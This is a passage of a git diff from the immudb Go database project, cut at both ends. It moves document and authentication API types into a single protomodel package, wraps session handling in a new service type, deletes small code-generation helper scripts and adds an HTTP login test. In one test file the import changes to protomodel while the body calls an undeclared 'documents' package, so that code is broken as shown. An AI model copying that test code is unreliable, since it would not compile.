*protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { queries := make([]*document.Query, 0, len(req.Query)) for _, q := range req.Query { queries = append(queries, &document.Query{ @@ -279,14 +279,14 @@ func (d *db) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateReq return nil, err } - return &schemav2.DocumentUpdateResponse{ + return &protomodel.DocumentUpdateResponse{ TransactionId: txID, Revision: rev, }, nil } // DocumentProof returns the proofs for a documenta -func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) { +func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { return nil, fmt.Errorf("invalid document id: %v", err) @@ -332,7 +332,7 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque return nil, err } - return &schemav2.DocumentProofResponse{ + return &protomodel.DocumentProofResponse{ Database: d.name, CollectionId: collectionID, EncodedDocument: docAudit.EncodedDocument, @@ -344,7 +344,7 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque } // DocumentInsertMany inserts multiple documents -func (d *db) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) { +func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { docIDs, txID, err := d.documentEngine.BulkInsertDocuments(ctx, req.Collection, req.Documents) if err != nil { return nil, err @@ -355,7 +355,7 @@ func (d *db) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInser docIDsStr = append(docIDsStr, docID.EncodeToHexString()) } - return &schemav2.DocumentInsertManyResponse{ + return &protomodel.DocumentInsertManyResponse{ DocumentIds: docIDsStr, TransactionId: txID, }, nil diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 0b2b953269..f3c6377221 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -20,15 +20,15 @@ import ( "os" "testing" - schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/verification" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) -func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { - return &schemav2.IndexOption{Type: indexType} +func newIndexOption(indexType protomodel.IndexType) *protomodel.IndexOption { + return &protomodel.IndexOption{Type: indexType} } func makeDocumentDb(t *testing.T) *db { @@ -53,21 +53,21 @@ func makeDocumentDb(t *testing.T) *db { } func TestDocumentDB_Collection(t *testing.T) { - ctx := context.Background() db := makeDocumentDb(t) // create collection collectionName := "mycollection" - _, err := db.CreateCollection(ctx, &schemav2.CollectionCreateRequest{ + + _, err := db.CreateCollection(context.Background(), &documents.CollectionCreateRequest{ Name: collectionName, - IndexKeys: map[string]*schemav2.IndexOption{ - "pincode": newIndexOption(schemav2.IndexType_INTEGER), + IndexKeys: map[string]*documents.IndexOption{ + "pincode": newIndexOption(documents.IndexType_INTEGER), }, }) require.NoError(t, err) // get collection - cinfo, err := db.GetCollection(ctx, &schemav2.CollectionGetRequest{ + cinfo, err := db.GetCollection(context.Background(), &documents.CollectionGetRequest{ Name: collectionName, }) require.NoError(t, err) @@ -75,10 +75,10 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, 2, len(resp.IndexKeys)) require.Contains(t, resp.IndexKeys, "_id") require.Contains(t, resp.IndexKeys, "pincode") - require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) + require.Equal(t, documents.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) // add document to collection - docRes, err := db.InsertDocument(ctx, &schemav2.DocumentInsertRequest{ + docRes, err := db.InsertDocument(context.Background(), &documents.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -92,23 +92,23 @@ func TestDocumentDB_Collection(t *testing.T) { require.NotNil(t, docRes) // query collection for document - reader, err := db.SearchDocuments(ctx, &schemav2.DocumentSearchRequest{ + reader, err := db.SearchDocuments(context.Background(), &documents.DocumentSearchRequest{ Collection: collectionName, Page: 1, PerPage: 10, - Query: []*schemav2.DocumentQuery{ + Query: []*documents.DocumentQuery{ { Field: "pincode", Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 123}, }, - Operator: schemav2.QueryOperator_EQ, + Operator: documents.QueryOperator_EQ, }, }, }) require.NoError(t, err) defer reader.Close() - docs, err := reader.Read(ctx, 1) + docs, err := reader.Read(context.Background(), 1) require.NoError(t, err) require.Equal(t, 1, len(docs)) @@ -116,14 +116,14 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) - proofRes, err := db.DocumentProof(ctx, &schemav2.DocumentProofRequest{ + proofRes, err := db.DocumentProof(context.Background(), &documents.DocumentProofRequest{ Collection: collectionName, DocumentId: docRes.DocumentId, }) require.NoError(t, err) require.NotNil(t, proofRes) - newState, err := verification.VerifyDocument(ctx, proofRes, doc, nil, nil) + newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) require.NoError(t, err) require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) } diff --git a/pkg/server/authorization_operations.go b/pkg/server/authorization_operations.go index 6f409faa68..b10320a170 100644 --- a/pkg/server/authorization_operations.go +++ b/pkg/server/authorization_operations.go @@ -21,38 +21,61 @@ import ( "math" "time" - "github.com/codenotary/immudb/pkg/api/authorizationschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" + "google.golang.org/protobuf/types/known/emptypb" ) const infinity = time.Duration(math.MaxInt64) -func (s *ImmuServer) OpenSessionV2(ctx context.Context, loginReq *authorizationschema.OpenSessionRequestV2) (*authorizationschema.OpenSessionResponseV2, error) { +type authenticationServiceImp struct { + server *ImmuServer +} - username := []byte(loginReq.Username) - password := []byte(loginReq.Password) - session, err := s.OpenSession(ctx, &schema.OpenSessionRequest{ - Username: username, - Password: password, +func (s *authenticationServiceImp) OpenSession(ctx context.Context, loginReq *protomodel.OpenSessionRequest) (*protomodel.OpenSessionResponse, error) { + session, err := s.server.OpenSession(ctx, &schema.OpenSessionRequest{ + Username: []byte(loginReq.Username), + Password: []byte(loginReq.Password), DatabaseName: loginReq.Database, }) if err != nil { return nil, err } + expirationTimestamp := int32(0) inactivityTimestamp := int32(0) now := time.Now() - if s.Options.SessionsOptions.MaxSessionInactivityTime > 0 { - inactivityTimestamp = int32(now.Add(s.Options.SessionsOptions.MaxSessionInactivityTime).Unix()) + + if s.server.Options.SessionsOptions.MaxSessionInactivityTime > 0 { + inactivityTimestamp = int32(now.Add(s.server.Options.SessionsOptions.MaxSessionInactivityTime).Unix()) } - if s.Options.SessionsOptions.MaxSessionAgeTime > 0 && s.Options.SessionsOptions.MaxSessionAgeTime != infinity { - expirationTimestamp = int32(now.Add(s.Options.SessionsOptions.MaxSessionAgeTime).Unix()) + if s.server.Options.SessionsOptions.MaxSessionAgeTime > 0 && s.server.Options.SessionsOptions.MaxSessionAgeTime != infinity { + expirationTimestamp = int32(now.Add(s.server.Options.SessionsOptions.MaxSessionAgeTime).Unix()) } - return &authorizationschema.OpenSessionResponseV2{ - Token: session.SessionID, + + return &protomodel.OpenSessionResponse{ + SessionID: session.SessionID, ServerUUID: session.ServerUUID, ExpirationTimestamp: expirationTimestamp, InactivityTimestamp: inactivityTimestamp, }, nil } + +func (s *authenticationServiceImp) KeepAlive(ctx context.Context, _ *protomodel.KeepAliveRequest) (*protomodel.KeepAliveResponse, error) { + _, err := s.server.KeepAlive(ctx, &emptypb.Empty{}) + if err != nil { + return nil, err + } + + return &protomodel.KeepAliveResponse{}, nil +} + +func (s *authenticationServiceImp) CloseSession(ctx context.Context, _ *protomodel.CloseSessionRequest) (*protomodel.CloseSessionResponse, error) { + _, err := s.server.CloseSession(ctx, &emptypb.Empty{}) + if err != nil { + return nil, err + } + + return &protomodel.CloseSessionResponse{}, nil +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index f341f7f3b8..4a21e68222 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -22,10 +22,9 @@ import ( "path/filepath" "time" - "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" - schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" ) @@ -247,49 +246,49 @@ func (db *closedDB) Truncate(ts time.Duration) error { } // GetCollection returns the collection schema -func (d *closedDB) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) { +func (d *closedDB) GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { return nil, store.ErrAlreadyClosed } // CreateCollection creates a new collection -func (d *closedDB) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) { +func (d *closedDB) CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { return nil, store.ErrAlreadyClosed } // SearchDocuments returns the document -func (d *closedDB) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (document.DocumentReader, error) { +func (d *closedDB) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (protomodel.DocumentReader, error) { return nil, store.ErrAlreadyClosed } // InsertDocument creates a new document -func (d *closedDB) InsertDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { +func (d *closedDB) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { +func (d *closedDB) ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) { +func (d *closedDB) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { +func (d *closedDB) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) { +func (d *closedDB) DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) { +func (d *closedDB) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) { +func (d *closedDB) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) { +func (d *closedDB) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 9355574df0..a12334637e 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -21,7 +21,7 @@ import ( "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" - "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/rs/xid" @@ -33,7 +33,7 @@ var ( ErrInvalidPreviousPage = status.Errorf(codes.InvalidArgument, "cannot go back to a previous page") ) -func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.DocumentInsertRequest) (*documentschema.DocumentInsertResponse, error) { +func (s *ImmuServer) DocumentInsert(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentInsert") if err != nil { return nil, err @@ -45,7 +45,7 @@ func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.Doc return resp, nil } -func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *documentschema.DocumentUpdateRequest) (*documentschema.DocumentUpdateResponse, error) { +func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentUpdate") if err != nil { return nil, err @@ -57,7 +57,7 @@ func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *documentschema.Doc return resp, nil } -func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentschema.CollectionCreateRequest) (*documentschema.CollectionCreateResponse, error) { +func (s *ImmuServer) CollectionCreate(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { db, err := s.getDBFromCtx(ctx, "CollectionCreate") if err != nil { return nil, err @@ -69,7 +69,7 @@ func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentschema.C return resp, nil } -func (s *ImmuServer) CollectionGet(ctx context.Context, req *documentschema.CollectionGetRequest) (*documentschema.CollectionGetResponse, error) { +func (s *ImmuServer) CollectionGet(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { db, err := s.getDBFromCtx(ctx, "CollectionGet") if err != nil { return nil, err @@ -81,7 +81,7 @@ func (s *ImmuServer) CollectionGet(ctx context.Context, req *documentschema.Coll return resp, nil } -func (s *ImmuServer) CollectionList(ctx context.Context, req *documentschema.CollectionListRequest) (*documentschema.CollectionListResponse, error) { +func (s *ImmuServer) CollectionList(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { db, err := s.getDBFromCtx(ctx, "CollectionList") if err != nil { return nil, err @@ -94,7 +94,7 @@ func (s *ImmuServer) CollectionList(ctx context.Context, req *documentschema.Col } // TODO: implement -func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentschema.CollectionDeleteRequest) (*documentschema.CollectionDeleteResponse, error) { +func (s *ImmuServer) CollectionDelete(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { db, err := s.getDBFromCtx(ctx, "CollectionDelete") if err != nil { return nil, err @@ -107,7 +107,7 @@ func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentschema.C } // TODO: implement -func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentschema.DocumentAuditRequest) (*documentschema.DocumentAuditResponse, error) { +func (s *ImmuServer) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentAudit") if err != nil { return nil, err @@ -120,7 +120,7 @@ func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentschema.Docu return resp, nil } -func (s *ImmuServer) DocumentProof(ctx context.Context, req *documentschema.DocumentProofRequest) (*documentschema.DocumentProofResponse, error) { +func (s *ImmuServer) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentProof") if err != nil { return nil, err @@ -152,7 +152,7 @@ func (s *ImmuServer) DocumentProof(ctx context.Context, req *documentschema.Docu return res, nil } -func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *documentschema.CollectionUpdateRequest) (*documentschema.CollectionUpdateResponse, error) { +func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { db, err := s.getDBFromCtx(ctx, "CollectionUpdate") if err != nil { return nil, err @@ -164,7 +164,7 @@ func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *documentschema.C return resp, nil } -func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.DocumentSearchRequest) (*documentschema.DocumentSearchResponse, error) { +func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.DocumentSearchRequest) (*protomodel.DocumentSearchResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentSearch") if err != nil { return nil, err @@ -227,13 +227,13 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc } } - return &documentschema.DocumentSearchResponse{ + return &protomodel.DocumentSearchResponse{ Results: results, SearchID: searchID, }, err } -func getSearchIDFromRequest(req *documentschema.DocumentSearchRequest) string { +func getSearchIDFromRequest(req *protomodel.DocumentSearchRequest) string { if req.SearchID != "" { return req.SearchID } @@ -241,7 +241,7 @@ func getSearchIDFromRequest(req *documentschema.DocumentSearchRequest) string { return xid.New().String() } -func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema.DocumentInsertManyRequest) (*documentschema.DocumentInsertManyResponse, error) { +func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentInsertMany") if err != nil { return nil, err diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index c4b7de5cc9..d14336c30e 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -24,6 +24,7 @@ import ( "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/pkg/api/authorizationschema" "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/stretchr/testify/assert" @@ -47,54 +48,56 @@ func TestV2Authentication(t *testing.T) { ctx := context.Background() - _, err := s.DocumentInsert(ctx, &documentschema.DocumentInsertRequest{}) + _, err := s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{}) + _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionCreate(ctx, &documentschema.CollectionCreateRequest{}) + _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionDelete(ctx, &documentschema.CollectionDeleteRequest{}) + _, err = s.CollectionDelete(ctx, &protomodel.CollectionDeleteRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionList(ctx, &documentschema.CollectionListRequest{}) + _, err = s.CollectionList(ctx, &protomodel.CollectionListRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionGet(ctx, &documentschema.CollectionGetRequest{}) + _, err = s.CollectionGet(ctx, &protomodel.CollectionGetRequest{}) assert.ErrorIs(t, err, ErrNotLoggedIn) - logged, err := s.OpenSessionV2(ctx, &authorizationschema.OpenSessionRequestV2{ + authServiceImp := &authenticationServiceImp{server: s} + + logged, err := authServiceImp.OpenSession(ctx, &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) assert.NoError(t, err) - assert.NotEmpty(t, logged.Token) + assert.NotEmpty(t, logged.SessionID) fmt.Println(logged.ExpirationTimestamp) assert.True(t, logged.InactivityTimestamp > 0) assert.True(t, logged.ExpirationTimestamp >= 0) assert.True(t, len(logged.ServerUUID) > 0) - md := metadata.Pairs("sessionid", logged.Token) + md := metadata.Pairs("sessionid", logged.SessionID) ctx = metadata.NewIncomingContext(context.Background(), md) - _, err = s.DocumentInsert(ctx, &documentschema.DocumentInsertRequest{}) + _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{}) + _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionCreate(ctx, &documentschema.CollectionCreateRequest{}) + _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionDelete(ctx, &documentschema.CollectionDeleteRequest{}) + _, err = s.CollectionDelete(ctx, &protomodel.CollectionDeleteRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionList(ctx, &documentschema.CollectionListRequest{}) + _, err = s.CollectionList(ctx, &protomodel.CollectionListRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionGet(ctx, &documentschema.CollectionGetRequest{}) + _, err = s.CollectionGet(ctx, &protomodel.CollectionGetRequest{}) assert.NotErrorIs(t, err, ErrNotLoggedIn) } diff --git a/pkg/server/server.go b/pkg/server/server.go index 3ca81ab9db..71d1ad902f 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -49,8 +49,7 @@ import ( "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" - "github.com/codenotary/immudb/pkg/api/authorizationschema" - "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/golang/protobuf/ptypes/empty" @@ -247,8 +246,8 @@ func (s *ImmuServer) Initialize() error { } schema.RegisterImmuServiceServer(s.GrpcServer, s) - documentschema.RegisterDocumentServiceServer(s.GrpcServer, s) - authorizationschema.RegisterAuthorizationServiceServer(s.GrpcServer, s) + protomodel.RegisterDocumentServiceServer(s.GrpcServer, s) + protomodel.RegisterAuthorizationServiceServer(s.GrpcServer, &authenticationServiceImp{server: s}) grpc_prometheus.Register(s.GrpcServer) s.PgsqlSrv = pgsqlsrv.New(pgsqlsrv.Address(s.Options.Address), pgsqlsrv.Port(s.Options.PgsqlServerPort), pgsqlsrv.DatabaseList(s.dbList), pgsqlsrv.SysDb(s.sysDB), pgsqlsrv.TlsConfig(s.Options.TLSConfig), pgsqlsrv.Logger(s.Logger)) diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index d5c92f921b..67ffd810df 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -21,8 +21,7 @@ import ( "crypto/tls" "net/http" - "github.com/codenotary/immudb/pkg/api/authorizationschema" - "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/swagger" @@ -38,12 +37,12 @@ func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger. } proxyMuxV2 := runtime.NewServeMux() - err = documentschema.RegisterDocumentServiceHandlerServer(context.Background(), proxyMuxV2, s) + err = protomodel.RegisterDocumentServiceHandlerServer(context.Background(), proxyMuxV2, s) if err != nil { return nil, err } - err = authorizationschema.RegisterAuthorizationServiceHandlerServer(context.Background(), proxyMuxV2, s) + err = protomodel.RegisterAuthorizationServiceHandlerServer(context.Background(), proxyMuxV2, &authenticationServiceImp{server: s}) if err != nil { return nil, err } diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 9f15ae7b11..cc474bdaf4 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -27,13 +27,13 @@ import ( "github.com/codenotary/immudb/embedded/htree" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" - schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" structpb "github.com/golang/protobuf/ptypes/struct" ) func VerifyDocument(ctx context.Context, - proof *schemav2.DocumentProofResponse, + proof *protomodel.DocumentProofResponse, doc *structpb.Struct, knownState *schema.ImmutableState, serverSigningPubKey *ecdsa.PublicKey, diff --git a/scripts/go-acc b/scripts/go-acc deleted file mode 100755 index ddc9471c37..0000000000 --- a/scripts/go-acc +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -go run github.com/ory/go-acc "$@" diff --git a/scripts/goveralls b/scripts/goveralls deleted file mode 100755 index 755109aa76..0000000000 --- a/scripts/goveralls +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -go run github.com/mattn/goveralls "$@" diff --git a/scripts/protoc-gen-doc b/scripts/protoc-gen-doc deleted file mode 100755 index f9d8087db4..0000000000 --- a/scripts/protoc-gen-doc +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -go run github.com/pseudomuto/protoc-gen-doc/cmd/protoc-gen-doc diff --git a/scripts/protoc-gen-go b/scripts/protoc-gen-go deleted file mode 100755 index 15cc5e1cf4..0000000000 --- a/scripts/protoc-gen-go +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -go run google.golang.org/protobuf/cmd/protoc-gen-go diff --git a/scripts/protoc-gen-go-grpc b/scripts/protoc-gen-go-grpc deleted file mode 100755 index b37c38311d..0000000000 --- a/scripts/protoc-gen-go-grpc +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -go run google.golang.org/grpc/cmd/protoc-gen-go-grpc diff --git a/scripts/protoc-gen-grpc-gateway b/scripts/protoc-gen-grpc-gateway deleted file mode 100755 index 6e77420506..0000000000 --- a/scripts/protoc-gen-grpc-gateway +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -go run github.com/grpc-ecosystem/grpc-gateway/protoc-gen-grpc-gateway diff --git a/scripts/protoc-gen-swagger b/scripts/protoc-gen-swagger deleted file mode 100755 index c40001e81e..0000000000 --- a/scripts/protoc-gen-swagger +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -go run github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js index daf2d71b2b..770b3eb1f7 100644 --- a/swagger/swaggeroverrides.js +++ b/swagger/swaggeroverrides.js @@ -4,8 +4,7 @@ window.onload = function() { // the following lines will be replaced by docker/configurator, when it runs in a docker-container window.ui = SwaggerUIBundle({ urls: [ - {"url": "/api/docs/authorizationschema.swagger.json", "name": "Authorization API"}, - {"url": "/api/docs/documentschema.swagger.json", "name": "Documents API"}, + {"url": "/api/docs/openapi.swagger.json", "name": "Authorization and Document API"}, {"url": "/api/docs/schema.swagger.json", "name": "KV and SQL API"} ], dom_id: '#swagger-ui', diff --git a/test/document_storage_tests/documents_tests/auth_test.go b/test/document_storage_tests/documents_tests/auth_test.go new file mode 100644 index 0000000000..8ac0d953d2 --- /dev/null +++ b/test/document_storage_tests/documents_tests/auth_test.go @@ -0,0 +1,53 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "context" + "testing" + + "github.com/codenotary/immudb/pkg/api/httpclient" + + "github.com/stretchr/testify/assert" +) + +func TestAuthentication(t *testing.T) { + authClient := getAuthorizedClient() + + badLogin := "immudbXXX" + badPassword := "immudbXXX" + badDatabase := "defaultdbXXX" + + response, _ := authClient.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ + Username: &badLogin, + Password: &badPassword, + Database: &badDatabase, + }) + assert.True(t, *response.JSONDefault.Message == "invalid user name or password") + + defaultLogin := "immudb" + defaultPassword := "immudb" + defaultDatabase := "defaultdb" + + response, _ = authClient.OpenSessionWithResponse(context.Background(), httpclient.OpenSessionJSONRequestBody{ + Username: &defaultLogin, + Password: &defaultPassword, + Database: &defaultDatabase, + }) + assert.True(t, response.StatusCode() == 200) + assert.True(t, len(*response.JSON200.SessionID) > 0) +} diff --git a/test/document_storage_tests/documents_tests/collections_test.go b/test/document_storage_tests/documents_tests/collections_test.go index 4920cc438e..15fc8c8fad 100644 --- a/test/document_storage_tests/documents_tests/collections_test.go +++ b/test/document_storage_tests/documents_tests/collections_test.go @@ -20,57 +20,49 @@ import ( "context" "testing" - "github.com/codenotary/immudb/test/documents_storage_tests/immudbhttpclient/immudbdocuments" - "github.com/stretchr/testify/assert" + "github.com/codenotary/immudb/pkg/api/httpclient" + 